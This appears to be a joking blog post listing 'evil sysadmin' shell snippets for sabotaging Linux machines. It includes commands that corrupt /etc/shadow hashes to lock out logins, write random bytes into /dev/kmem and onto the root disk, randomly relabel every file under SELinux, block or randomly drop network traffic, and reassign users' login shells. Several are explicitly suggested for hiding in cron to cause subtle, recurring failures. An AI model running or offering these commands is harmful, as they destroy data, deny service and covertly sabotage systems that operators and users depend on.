We are all the same…

To have some fun add the following line to the defaults and all device sections of your /etc/multipath.conf file:

getuid_callout  "echo byebyestorage"

Russian Roulette

This one was sent in by DIVI:

dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM

This would be a nice one to hide somewhere in /etc/cron.d/

Subtle login problem

This one was sent in by Ed van der Salm:

sed -i 's/:$6/:$5/g' /etc/shadow

Thanks Ed!

Now that’s a proper startup

sed -i 's/runlevel="$argv1"/runlevel="$[{RANDOM} % 7 ]"/' /etc/rc.d/rc

Defaults are fine, right?

chcon -t default_t /

Connecting…

ip rule add to 0.0.0.0/0 unreachable

SELinux fun

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null

N[eo]tworking…

iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP

Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc

We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done